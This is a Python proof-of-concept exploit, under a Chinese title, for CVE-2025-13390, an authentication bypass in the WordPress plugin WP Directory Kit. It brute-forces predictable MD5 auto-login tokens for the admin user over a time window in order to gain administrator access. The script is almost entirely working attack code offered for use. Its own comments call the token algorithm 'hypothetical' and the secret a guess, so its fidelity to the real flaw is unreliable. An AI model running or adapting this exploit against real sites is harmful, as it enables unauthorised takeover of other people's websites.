CVE-2025-13390: WP Directory Kit插件认证绕过漏洞导致WordPress网站完全接管

# CVE-2025-13390 PoC - WP Directory Kit Authentication Bypass # This PoC demonstrates how to exploit the weak token generation in auto-login function import hashlib import time import requests from datetime import datetime, timedelta TARGET_URL = "https://vulnerable-site.com" PLUGIN_PATH = "/wp-content/plugins/wp-directory-kit/" def generate_predictable_token(user_id, timestamp=None): """ Generate token using the weak algorithm (hypothetical based on CVE description) The actual algorithm may vary, this demonstrates the weak token generation concept """ if timestamp is None: timestamp = int(time.time()) # Weak token generation using predictable values secret = "wdk_secret_key" # Default or known secret token_input = f"{user_id}_{timestamp}_{secret}" token = hashlib.md5(token_input.encode()).hexdigest()[:16] return token, timestamp def exploit_auth_bypass(target_url, admin_user_id=1): """ Exploit the authentication bypass vulnerability """ print(f"[*] Target: {target_url}") print(f"[*] Exploiting CVE-2025-13390 - WP Directory Kit Auth Bypass") # Generate predictable tokens for different time windows current_time = int(time.time()) for time_offset in range(-300, 300, 10): # Check 5 minutes before and after timestamp = current_time + time_offset token, _ = generate_predictable_token(admin_user_id, timestamp) # Construct auto-login URL auto_login_url = f"{target_url}{PLUGIN_PATH}wdk-auto-login/?user_id={admin_user_id}&token={token}" print(f"[*] Testing token: {token} (timestamp: {timestamp})") try: response = requests.get(auto_login_url, allow_redirects=False, timeout=10) # Check for successful authentication indicators if response.status_code in [302, 303] and 'wp-admin' in response.headers.get('Location', ''): print(f"[+] SUCCESS! Valid token found: {token}") print(f"[+] Auto-login URL: {auto_login_url}") print(f"[+] Admin access granted!") return auto_login_url elif 'Set-Cookie' in response.headers: print(f"[+] Potential admin cookie obtained") except requests.RequestException as e: print(f"[-] Request failed: {e}") print("[-] No valid token found in time window") return None def main(): """ Main execution function """ print("=" * 60) print("CVE-2025-13390 - WP Directory Kit Authentication Bypass") print("=" * 60) result = exploit_auth_bypass(TARGET_URL, admin_user_id=1) if result: print("\n[!] Vulnerability confirmed!") print(f"[!] Use the URL to gain admin access: {result}") else: print("\n[-] Exploitation failed or token generation algorithm different") if __name__ == "__main__": main()